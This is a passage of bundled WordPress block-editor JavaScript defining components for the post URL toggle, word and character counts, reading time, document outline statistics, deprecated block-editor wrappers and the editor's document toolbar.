21263 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21264 PostURLToggle,
21265 {
21266 isOpen,
21267 onClick: onToggle
21268 }
21269 ),
21270 renderContent: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostURL, { onClose })
21271 }
21272 ),
21273 isFrontPage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(FrontPageLink, {})
21274 ] }) });
21275}
21276function PostURLToggle({ isOpen, onClick }) {
21277 const { slug } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
21278 return {
21279 slug: select(store_store).getEditedPostSlug()
21280 };
21281 }, []);
21282 const decodedSlug = (0,external_wp_url_namespaceObject.safeDecodeURIComponent)(slug);
21283 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21284 external_wp_components_namespaceObject.Button,
21285 {
21286 size: "compact",
21287 className: "editor-post-url__panel-toggle",
21288 variant: "tertiary",
21289 "aria-expanded": isOpen,
21290 "aria-label": (
21291 // translators: %s: Current post link.
21292 (0,external_wp_i18n_namespaceObject.sprintf)((0,external_wp_i18n_namespaceObject.__)("Change link: %s"), decodedSlug)
21293 ),
21294 onClick,
21295 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: decodedSlug })
21296 }
21297 );
21298}
21299function FrontPageLink() {
21300 const { postLink } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
21301 const { getCurrentPost } = select(store_store);
21302 return {
21303 postLink: getCurrentPost()?.link
21304 };
21305 }, []);
21306 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21307 external_wp_components_namespaceObject.ExternalLink,
21308 {
21309 className: "editor-post-url__front-page-link",
21310 href: postLink,
21311 target: "_blank",
21312 children: postLink
21313 }
21314 );
21315}
21316
21317
21318;// ./node_modules/@wordpress/editor/build-module/components/post-visibility/check.js
21319
21320
21321function PostVisibilityCheck({ render }) {
21322 const canEdit = (0,external_wp_data_namespaceObject.useSelect)((select) => {
21323 return select(store_store).getCurrentPost()._links?.["wp:action-publish"] ?? false;
21324 });
21325 return render({ canEdit });
21326}
21327
21328
21329;// ./node_modules/@wordpress/icons/build-module/library/info.js
21330
21331
21332var info_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21333 external_wp_primitives_namespaceObject.Path,
21334 {
21335 fillRule: "evenodd",
21336 clipRule: "evenodd",
21337 d: "M5.5 12a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0ZM12 4a8 8 0 1 0 0 16 8 8 0 0 0 0-16Zm.75 4v1.5h-1.5V8h1.5Zm0 8v-5h-1.5v5h1.5Z"
21338 }
21339) });
21340
21341
21342;// external ["wp","wordcount"]
21343const external_wp_wordcount_namespaceObject = window["wp"]["wordcount"];
21344;// ./node_modules/@wordpress/editor/build-module/components/word-count/index.js
21345
21346
21347
21348
21349
21350function WordCount() {
21351 const content = (0,external_wp_data_namespaceObject.useSelect)(
21352 (select) => select(store_store).getEditedPostAttribute("content"),
21353 []
21354 );
21355 const wordCountType = (0,external_wp_i18n_namespaceObject._x)("words", "Word count type. Do not translate!");
21356 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "word-count", children: (0,external_wp_wordcount_namespaceObject.count)(content, wordCountType) });
21357}
21358
21359
21360;// ./node_modules/@wordpress/editor/build-module/components/time-to-read/index.js
21361
21362
21363
21364
21365
21366
21367const AVERAGE_READING_RATE = 189;
21368function TimeToRead() {
21369 const content = (0,external_wp_data_namespaceObject.useSelect)(
21370 (select) => select(store_store).getEditedPostAttribute("content"),
21371 []
21372 );
21373 const wordCountType = (0,external_wp_i18n_namespaceObject._x)("words", "Word count type. Do not translate!");
21374 const minutesToRead = Math.round(
21375 (0,external_wp_wordcount_namespaceObject.count)(content, wordCountType) / AVERAGE_READING_RATE
21376 );
21377 const minutesToReadString = minutesToRead === 0 ? (0,external_wp_element_namespaceObject.createInterpolateElement)((0,external_wp_i18n_namespaceObject.__)("<span>< 1</span> minute"), {
21378 span: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {})
21379 }) : (0,external_wp_element_namespaceObject.createInterpolateElement)(
21380 (0,external_wp_i18n_namespaceObject.sprintf)(
21381 /* translators: %s: the number of minutes to read the post. */
21382 (0,external_wp_i18n_namespaceObject._n)(
21383 "<span>%s</span> minute",
21384 "<span>%s</span> minutes",
21385 minutesToRead
21386 ),
21387 minutesToRead
21388 ),
21389 {
21390 span: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {})
21391 }
21392 );
21393 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "time-to-read", children: minutesToReadString });
21394}
21395
21396
21397;// ./node_modules/@wordpress/editor/build-module/components/character-count/index.js
21398
21399
21400
21401function CharacterCount() {
21402 const content = (0,external_wp_data_namespaceObject.useSelect)(
21403 (select) => select(store_store).getEditedPostAttribute("content"),
21404 []
21405 );
21406 return (0,external_wp_wordcount_namespaceObject.count)(content, "characters_including_spaces");
21407}
21408
21409
21410;// ./node_modules/@wordpress/editor/build-module/components/table-of-contents/panel.js
21411
21412
21413
21414
21415
21416
21417
21418
21419function TableOfContentsPanel({ hasOutlineItemsDisabled, onRequestClose }) {
21420 const { headingCount, paragraphCount, numberOfBlocks } = (0,external_wp_data_namespaceObject.useSelect)(
21421 (select) => {
21422 const { getGlobalBlockCount } = select(external_wp_blockEditor_namespaceObject.store);
21423 return {
21424 headingCount: getGlobalBlockCount("core/heading"),
21425 paragraphCount: getGlobalBlockCount("core/paragraph"),
21426 numberOfBlocks: getGlobalBlockCount()
21427 };
21428 },
21429 []
21430 );
21431 return (
21432 /*
21433 * Disable reason: The `list` ARIA role is redundant but
21434 * Safari+VoiceOver won't announce the list otherwise.
21435 */
21436 /* eslint-disable jsx-a11y/no-redundant-roles */
21437 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
21438 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21439 "div",
21440 {
21441 className: "table-of-contents__wrapper",
21442 role: "note",
21443 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Document Statistics"),
21444 tabIndex: "0",
21445 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("ul", { role: "list", className: "table-of-contents__counts", children: [
21446 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { className: "table-of-contents__count", children: [
21447 (0,external_wp_i18n_namespaceObject.__)("Words"),
21448 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(WordCount, {})
21449 ] }),
21450 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { className: "table-of-contents__count", children: [
21451 (0,external_wp_i18n_namespaceObject.__)("Characters"),
21452 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "table-of-contents__number", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(CharacterCount, {}) })
21453 ] }),
21454 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { className: "table-of-contents__count", children: [
21455 (0,external_wp_i18n_namespaceObject.__)("Time to read"),
21456 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TimeToRead, {})
21457 ] }),
21458 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { className: "table-of-contents__count", children: [
21459 (0,external_wp_i18n_namespaceObject.__)("Headings"),
21460 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "table-of-contents__number", children: headingCount })
21461 ] }),
21462 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { className: "table-of-contents__count", children: [
21463 (0,external_wp_i18n_namespaceObject.__)("Paragraphs"),
21464 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "table-of-contents__number", children: paragraphCount })
21465 ] }),
21466 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("li", { className: "table-of-contents__count", children: [
21467 (0,external_wp_i18n_namespaceObject.__)("Blocks"),
21468 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "table-of-contents__number", children: numberOfBlocks })
21469 ] })
21470 ] })
21471 }
21472 ),
21473 headingCount > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
21474 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("hr", {}),
21475 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h2", { className: "table-of-contents__title", children: (0,external_wp_i18n_namespaceObject.__)("Document Outline") }),
21476 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21477 DocumentOutline,
21478 {
21479 onSelect: onRequestClose,
21480 hasOutlineItemsDisabled
21481 }
21482 )
21483 ] })
21484 ] })
21485 );
21486}
21487var table_of_contents_panel_panel_default = TableOfContentsPanel;
21488
21489
21490;// ./node_modules/@wordpress/editor/build-module/components/table-of-contents/index.js
21491
21492
21493
21494
21495
21496
21497
21498
21499function TableOfContents({ hasOutlineItemsDisabled, repositionDropdown, ...props }, ref) {
21500 const hasBlocks = (0,external_wp_data_namespaceObject.useSelect)(
21501 (select) => !!select(external_wp_blockEditor_namespaceObject.store).getBlockCount(),
21502 []
21503 );
21504 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21505 external_wp_components_namespaceObject.Dropdown,
21506 {
21507 popoverProps: {
21508 placement: repositionDropdown ? "right" : "bottom"
21509 },
21510 className: "table-of-contents",
21511 contentClassName: "table-of-contents__popover",
21512 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21513 external_wp_components_namespaceObject.Button,
21514 {
21515 __next40pxDefaultSize: true,
21516 ...props,
21517 ref,
21518 onClick: hasBlocks ? onToggle : void 0,
21519 icon: info_default,
21520 "aria-expanded": isOpen,
21521 "aria-haspopup": "true",
21522 label: (0,external_wp_i18n_namespaceObject.__)("Details"),
21523 tooltipPosition: "bottom",
21524 "aria-disabled": !hasBlocks
21525 }
21526 ),
21527 renderContent: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21528 table_of_contents_panel_panel_default,
21529 {
21530 onRequestClose: onClose,
21531 hasOutlineItemsDisabled
21532 }
21533 )
21534 }
21535 );
21536}
21537var table_of_contents_default = (0,external_wp_element_namespaceObject.forwardRef)(TableOfContents);
21538
21539
21540;// ./node_modules/@wordpress/editor/build-module/components/unsaved-changes-warning/index.js
21541
21542
21543
21544
21545function UnsavedChangesWarning() {
21546 const { __experimentalGetDirtyEntityRecords } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_coreData_namespaceObject.store);
21547 (0,external_wp_element_namespaceObject.useEffect)(() => {
21548 const warnIfUnsavedChanges = (event) => {
21549 const dirtyEntityRecords = __experimentalGetDirtyEntityRecords();
21550 if (dirtyEntityRecords.length > 0) {
21551 event.returnValue = (0,external_wp_i18n_namespaceObject.__)(
21552 "You have unsaved changes. If you proceed, they will be lost."
21553 );
21554 return event.returnValue;
21555 }
21556 };
21557 window.addEventListener("beforeunload", warnIfUnsavedChanges);
21558 return () => {
21559 window.removeEventListener("beforeunload", warnIfUnsavedChanges);
21560 };
21561 }, [__experimentalGetDirtyEntityRecords]);
21562 return null;
21563}
21564
21565
21566;// external ["wp","serverSideRender"]
21567const external_wp_serverSideRender_namespaceObject = window["wp"]["serverSideRender"];
21568var external_wp_serverSideRender_default = /*#__PURE__*/__webpack_require__.n(external_wp_serverSideRender_namespaceObject);
21569;// ./node_modules/@wordpress/editor/build-module/components/deprecated.js
21570
21571
21572
21573
21574
21575function deprecateComponent(name, Wrapped, staticsToHoist = []) {
21576 const Component = (0,external_wp_element_namespaceObject.forwardRef)((props, ref) => {
21577 external_wp_deprecated_default()("wp.editor." + name, {
21578 since: "5.3",
21579 alternative: "wp.blockEditor." + name,
21580 version: "6.2"
21581 });
21582 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Wrapped, { ref, ...props });
21583 });
21584 staticsToHoist.forEach((staticName) => {
21585 Component[staticName] = deprecateComponent(
21586 name + "." + staticName,
21587 Wrapped[staticName]
21588 );
21589 });
21590 return Component;
21591}
21592function deprecateFunction(name, func) {
21593 return (...args) => {
21594 external_wp_deprecated_default()("wp.editor." + name, {
21595 since: "5.3",
21596 alternative: "wp.blockEditor." + name,
21597 version: "6.2"
21598 });
21599 return func(...args);
21600 };
21601}
21602const RichText = deprecateComponent("RichText", external_wp_blockEditor_namespaceObject.RichText, ["Content"]);
21603RichText.isEmpty = deprecateFunction(
21604 "RichText.isEmpty",
21605 external_wp_blockEditor_namespaceObject.RichText.isEmpty
21606);
21607const Autocomplete = deprecateComponent(
21608 "Autocomplete",
21609 external_wp_blockEditor_namespaceObject.Autocomplete
21610);
21611const AlignmentToolbar = deprecateComponent(
21612 "AlignmentToolbar",
21613 external_wp_blockEditor_namespaceObject.AlignmentToolbar
21614);
21615const BlockAlignmentToolbar = deprecateComponent(
21616 "BlockAlignmentToolbar",
21617 external_wp_blockEditor_namespaceObject.BlockAlignmentToolbar
21618);
21619const BlockControls = deprecateComponent(
21620 "BlockControls",
21621 external_wp_blockEditor_namespaceObject.BlockControls,
21622 ["Slot"]
21623);
21624const BlockEdit = deprecateComponent("BlockEdit", external_wp_blockEditor_namespaceObject.BlockEdit);
21625const BlockEditorKeyboardShortcuts = deprecateComponent(
21626 "BlockEditorKeyboardShortcuts",
21627 external_wp_blockEditor_namespaceObject.BlockEditorKeyboardShortcuts
21628);
21629const BlockFormatControls = deprecateComponent(
21630 "BlockFormatControls",
21631 external_wp_blockEditor_namespaceObject.BlockFormatControls,
21632 ["Slot"]
21633);
21634const BlockIcon = deprecateComponent("BlockIcon", external_wp_blockEditor_namespaceObject.BlockIcon);
21635const BlockInspector = deprecateComponent(
21636 "BlockInspector",
21637 external_wp_blockEditor_namespaceObject.BlockInspector
21638);
21639const BlockList = deprecateComponent("BlockList", external_wp_blockEditor_namespaceObject.BlockList);
21640const BlockMover = deprecateComponent("BlockMover", external_wp_blockEditor_namespaceObject.BlockMover);
21641const BlockNavigationDropdown = deprecateComponent(
21642 "BlockNavigationDropdown",
21643 external_wp_blockEditor_namespaceObject.BlockNavigationDropdown
21644);
21645const BlockSelectionClearer = deprecateComponent(
21646 "BlockSelectionClearer",
21647 external_wp_blockEditor_namespaceObject.BlockSelectionClearer
21648);
21649const BlockSettingsMenu = deprecateComponent(
21650 "BlockSettingsMenu",
21651 external_wp_blockEditor_namespaceObject.BlockSettingsMenu
21652);
21653const BlockTitle = deprecateComponent("BlockTitle", external_wp_blockEditor_namespaceObject.BlockTitle);
21654const BlockToolbar = deprecateComponent(
21655 "BlockToolbar",
21656 external_wp_blockEditor_namespaceObject.BlockToolbar
21657);
21658const ColorPalette = deprecateComponent(
21659 "ColorPalette",
21660 external_wp_blockEditor_namespaceObject.ColorPalette
21661);
21662const ContrastChecker = deprecateComponent(
21663 "ContrastChecker",
21664 external_wp_blockEditor_namespaceObject.ContrastChecker
21665);
21666const CopyHandler = deprecateComponent("CopyHandler", external_wp_blockEditor_namespaceObject.CopyHandler);
21667const DefaultBlockAppender = deprecateComponent(
21668 "DefaultBlockAppender",
21669 external_wp_blockEditor_namespaceObject.DefaultBlockAppender
21670);
21671const FontSizePicker = deprecateComponent(
21672 "FontSizePicker",
21673 external_wp_blockEditor_namespaceObject.FontSizePicker
21674);
21675const Inserter = deprecateComponent("Inserter", external_wp_blockEditor_namespaceObject.Inserter);
21676const InnerBlocks = deprecateComponent("InnerBlocks", external_wp_blockEditor_namespaceObject.InnerBlocks, [
21677 "ButtonBlockAppender",
21678 "DefaultBlockAppender",
21679 "Content"
21680]);
21681const InspectorAdvancedControls = deprecateComponent(
21682 "InspectorAdvancedControls",
21683 external_wp_blockEditor_namespaceObject.InspectorAdvancedControls,
21684 ["Slot"]
21685);
21686const InspectorControls = deprecateComponent(
21687 "InspectorControls",
21688 external_wp_blockEditor_namespaceObject.InspectorControls,
21689 ["Slot"]
21690);
21691const PanelColorSettings = deprecateComponent(
21692 "PanelColorSettings",
21693 external_wp_blockEditor_namespaceObject.PanelColorSettings
21694);
21695const PlainText = deprecateComponent("PlainText", external_wp_blockEditor_namespaceObject.PlainText);
21696const RichTextShortcut = deprecateComponent(
21697 "RichTextShortcut",
21698 external_wp_blockEditor_namespaceObject.RichTextShortcut
21699);
21700const RichTextToolbarButton = deprecateComponent(
21701 "RichTextToolbarButton",
21702 external_wp_blockEditor_namespaceObject.RichTextToolbarButton
21703);
21704const __unstableRichTextInputEvent = deprecateComponent(
21705 "__unstableRichTextInputEvent",
21706 external_wp_blockEditor_namespaceObject.__unstableRichTextInputEvent
21707);
21708const MediaPlaceholder = deprecateComponent(
21709 "MediaPlaceholder",
21710 external_wp_blockEditor_namespaceObject.MediaPlaceholder
21711);
21712const MediaUpload = deprecateComponent("MediaUpload", external_wp_blockEditor_namespaceObject.MediaUpload);
21713const MediaUploadCheck = deprecateComponent(
21714 "MediaUploadCheck",
21715 external_wp_blockEditor_namespaceObject.MediaUploadCheck
21716);
21717const MultiSelectScrollIntoView = deprecateComponent(
21718 "MultiSelectScrollIntoView",
21719 external_wp_blockEditor_namespaceObject.MultiSelectScrollIntoView
21720);
21721const NavigableToolbar = deprecateComponent(
21722 "NavigableToolbar",
21723 external_wp_blockEditor_namespaceObject.NavigableToolbar
21724);
21725const ObserveTyping = deprecateComponent(
21726 "ObserveTyping",
21727 external_wp_blockEditor_namespaceObject.ObserveTyping
21728);
21729const SkipToSelectedBlock = deprecateComponent(
21730 "SkipToSelectedBlock",
21731 external_wp_blockEditor_namespaceObject.SkipToSelectedBlock
21732);
21733const URLInput = deprecateComponent("URLInput", external_wp_blockEditor_namespaceObject.URLInput);
21734const URLInputButton = deprecateComponent(
21735 "URLInputButton",
21736 external_wp_blockEditor_namespaceObject.URLInputButton
21737);
21738const URLPopover = deprecateComponent("URLPopover", external_wp_blockEditor_namespaceObject.URLPopover);
21739const Warning = deprecateComponent("Warning", external_wp_blockEditor_namespaceObject.Warning);
21740const WritingFlow = deprecateComponent("WritingFlow", external_wp_blockEditor_namespaceObject.WritingFlow);
21741const createCustomColorsHOC = deprecateFunction(
21742 "createCustomColorsHOC",
21743 external_wp_blockEditor_namespaceObject.createCustomColorsHOC
21744);
21745const getColorClassName = deprecateFunction(
21746 "getColorClassName",
21747 external_wp_blockEditor_namespaceObject.getColorClassName
21748);
21749const getColorObjectByAttributeValues = deprecateFunction(
21750 "getColorObjectByAttributeValues",
21751 external_wp_blockEditor_namespaceObject.getColorObjectByAttributeValues
21752);
21753const getColorObjectByColorValue = deprecateFunction(
21754 "getColorObjectByColorValue",
21755 external_wp_blockEditor_namespaceObject.getColorObjectByColorValue
21756);
21757const getFontSize = deprecateFunction("getFontSize", external_wp_blockEditor_namespaceObject.getFontSize);
21758const getFontSizeClass = deprecateFunction(
21759 "getFontSizeClass",
21760 external_wp_blockEditor_namespaceObject.getFontSizeClass
21761);
21762const withColorContext = deprecateFunction(
21763 "withColorContext",
21764 external_wp_blockEditor_namespaceObject.withColorContext
21765);
21766const withColors = deprecateFunction("withColors", external_wp_blockEditor_namespaceObject.withColors);
21767const withFontSizes = deprecateFunction(
21768 "withFontSizes",
21769 external_wp_blockEditor_namespaceObject.withFontSizes
21770);
21771
21772
21773;// ./node_modules/@wordpress/editor/build-module/components/index.js
21774
21775
21776
21777
21778
21779
21780
21781
21782
21783
21784
21785
21786
21787
21788
21789
21790
21791
21792
21793
21794
21795
21796
21797
21798
21799
21800
21801
21802
21803
21804
21805
21806
21807
21808
21809
21810
21811
21812
21813
21814
21815
21816
21817
21818
21819
21820
21821
21822
21823
21824
21825
21826
21827
21828
21829
21830
21831
21832
21833
21834
21835
21836
21837
21838
21839
21840
21841
21842
21843
21844
21845
21846
21847
21848
21849
21850
21851
21852
21853
21854
21855
21856
21857
21858
21859
21860
21861
21862
21863const VisualEditorGlobalKeyboardShortcuts = EditorKeyboardShortcuts;
21864const TextEditorGlobalKeyboardShortcuts = EditorKeyboardShortcuts;
21865
21866
21867;// ./node_modules/@wordpress/editor/build-module/utils/url.js
21868
21869
21870function cleanForSlug(string) {
21871 external_wp_deprecated_default()("wp.editor.cleanForSlug", {
21872 since: "12.7",
21873 plugin: "Gutenberg",
21874 alternative: "wp.url.cleanForSlug"
21875 });
21876 return (0,external_wp_url_namespaceObject.cleanForSlug)(string);
21877}
21878
21879
21880;// ./node_modules/@wordpress/editor/build-module/utils/index.js
21881
21882
21883
21884
21885
21886;// ./node_modules/@wordpress/editor/build-module/components/editor-interface/content-slot-fill.js
21887
21888const EditorContentSlotFill = (0,external_wp_components_namespaceObject.createSlotFill)(
21889 Symbol("EditCanvasContainerSlot")
21890);
21891var content_slot_fill_default = EditorContentSlotFill;
21892
21893
21894;// ./node_modules/@wordpress/editor/build-module/components/header/back-button.js
21895
21896
21897const slotName = "__experimentalMainDashboardButton";
21898const useHasBackButton = () => {
21899 const fills = (0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(slotName);
21900 return Boolean(fills && fills.length);
21901};
21902const { Fill: back_button_Fill, Slot: back_button_Slot } = (0,external_wp_components_namespaceObject.createSlotFill)(slotName);
21903const BackButton = back_button_Fill;
21904const BackButtonSlot = () => {
21905 const fills = (0,external_wp_components_namespaceObject.__experimentalUseSlotFills)(slotName);
21906 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21907 back_button_Slot,
21908 {
21909 bubblesVirtually: true,
21910 fillProps: { length: !fills ? 0 : fills.length }
21911 }
21912 );
21913};
21914BackButton.Slot = BackButtonSlot;
21915var back_button_default = BackButton;
21916
21917
21918;// ./node_modules/@wordpress/icons/build-module/library/next.js
21919
21920
21921var next_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6.6 6L5.4 7l4.5 5-4.5 5 1.1 1 5.5-6-5.4-6zm6 0l-1.1 1 4.5 5-4.5 5 1.1 1 5.5-6-5.5-6z" }) });
21922
21923
21924;// ./node_modules/@wordpress/icons/build-module/library/previous.js
21925
21926
21927var previous_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11.6 7l-1.1-1L5 12l5.5 6 1.1-1L7 12l4.6-5zm6 0l-1.1-1-5.5 6 5.5 6 1.1-1-4.6-5 4.6-5z" }) });
21928
21929
21930;// ./node_modules/@wordpress/editor/build-module/components/collapsible-block-toolbar/index.js
21931
21932
21933
21934
21935
21936
21937
21938
21939
21940const { useHasBlockToolbar } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
21941function CollapsibleBlockToolbar({ isCollapsed, onToggle }) {
21942 const { blockSelectionStart } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
21943 return {
21944 blockSelectionStart: select(external_wp_blockEditor_namespaceObject.store).getBlockSelectionStart()
21945 };
21946 }, []);
21947 const hasBlockToolbar = useHasBlockToolbar();
21948 const hasBlockSelection = !!blockSelectionStart;
21949 (0,external_wp_element_namespaceObject.useEffect)(() => {
21950 if (blockSelectionStart) {
21951 onToggle(false);
21952 }
21953 }, [blockSelectionStart, onToggle]);
21954 if (!hasBlockToolbar) {
21955 return null;
21956 }
21957 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
21958 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21959 "div",
21960 {
21961 className: dist_clsx("editor-collapsible-block-toolbar", {
21962 "is-collapsed": isCollapsed || !hasBlockSelection
21963 }),
21964 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockToolbar, { hideDragHandle: true })
21965 }
21966 ),
21967 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Popover.Slot, { name: "block-toolbar" }),
21968 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
21969 external_wp_components_namespaceObject.Button,
21970 {
21971 className: "editor-collapsible-block-toolbar__toggle",
21972 icon: isCollapsed ? next_default : previous_default,
21973 onClick: () => {
21974 onToggle(!isCollapsed);
21975 },
21976 label: isCollapsed ? (0,external_wp_i18n_namespaceObject.__)("Show block tools") : (0,external_wp_i18n_namespaceObject.__)("Hide block tools"),
21977 size: "compact"
21978 }
21979 )
21980 ] });
21981}
21982
21983
21984;// ./node_modules/@wordpress/icons/build-module/library/plus.js
21985
21986
21987var plus_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11 12.5V17.5H12.5V12.5H17.5V11H12.5V6H11V11H6V12.5H11Z" }) });
21988
21989
21990;// ./node_modules/@wordpress/editor/build-module/components/document-tools/index.js
21991
21992
21993
21994
21995
21996
21997
21998
21999
22000
22001
22002
22003
22004
22005
22006function DocumentTools({ className, disableBlockTools = false }) {
22007 const { setIsInserterOpened, setIsListViewOpened } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
22008 const {
22009 isDistractionFree,
22010 isInserterOpened,
22011 isListViewOpen,
22012 listViewShortcut,
22013 inserterSidebarToggleRef,
22014 listViewToggleRef,
22015 showIconLabels
22016 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
22017 const { get } = select(external_wp_preferences_namespaceObject.store);
22018 const {
22019 isListViewOpened,
22020 getEditorMode,
22021 getInserterSidebarToggleRef,
22022 getListViewToggleRef
22023 } = unlock(select(store_store));
22024 const { getShortcutRepresentation } = select(external_wp_keyboardShortcuts_namespaceObject.store);
22025 return {
22026 isInserterOpened: select(store_store).isInserterOpened(),
22027 isListViewOpen: isListViewOpened(),
22028 listViewShortcut: getShortcutRepresentation(
22029 "core/editor/toggle-list-view"
22030 ),
22031 inserterSidebarToggleRef: getInserterSidebarToggleRef(),
22032 listViewToggleRef: getListViewToggleRef(),
22033 showIconLabels: get("core", "showIconLabels"),
22034 isDistractionFree: get("core", "distractionFree"),
22035 isVisualMode: getEditorMode() === "visual"
22036 };
22037 }, []);
22038 const preventDefault = (event) => {
22039 if (isInserterOpened) {
22040 event.preventDefault();
22041 }
22042 };
22043 const isWideViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("wide");
22044 const toolbarAriaLabel = (0,external_wp_i18n_namespaceObject.__)("Document tools");
22045 const toggleListView = (0,external_wp_element_namespaceObject.useCallback)(
22046 () => setIsListViewOpened(!isListViewOpen),
22047 [setIsListViewOpened, isListViewOpen]
22048 );
22049 const toggleInserter = (0,external_wp_element_namespaceObject.useCallback)(
22050 () => setIsInserterOpened(!isInserterOpened),
22051 [isInserterOpened, setIsInserterOpened]
22052 );
22053 const longLabel = (0,external_wp_i18n_namespaceObject._x)(
22054 "Block Inserter",
22055 "Generic label for block inserter button"
22056 );
22057 const shortLabel = !isInserterOpened ? (0,external_wp_i18n_namespaceObject.__)("Add") : (0,external_wp_i18n_namespaceObject.__)("Close");
22058 return (
22059 // Some plugins expect and use the `edit-post-header-toolbar` CSS class to
22060 // find the toolbar and inject UI elements into it. This is not officially
22061 // supported, but we're keeping it in the list of class names for backwards
22062 // compatibility.
22063 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22064 external_wp_blockEditor_namespaceObject.NavigableToolbar,
22065 {
22066 className: dist_clsx(
22067 "editor-document-tools",
22068 "edit-post-header-toolbar",
22069 className
22070 ),
22071 "aria-label": toolbarAriaLabel,
22072 variant: "unstyled",
22073 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-document-tools__left", children: [
22074 !isDistractionFree && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
22075 external_wp_components_namespaceObject.ToolbarButton,
22076 {
22077 ref: inserterSidebarToggleRef,
22078 className: "editor-document-tools__inserter-toggle",
22079 variant: "primary",
22080 isPressed: isInserterOpened,
22081 onMouseDown: preventDefault,
22082 onClick: toggleInserter,
22083 disabled: disableBlockTools,
22084 icon: plus_default,
22085 label: showIconLabels ? shortLabel : longLabel,
22086 showTooltip: !showIconLabels,
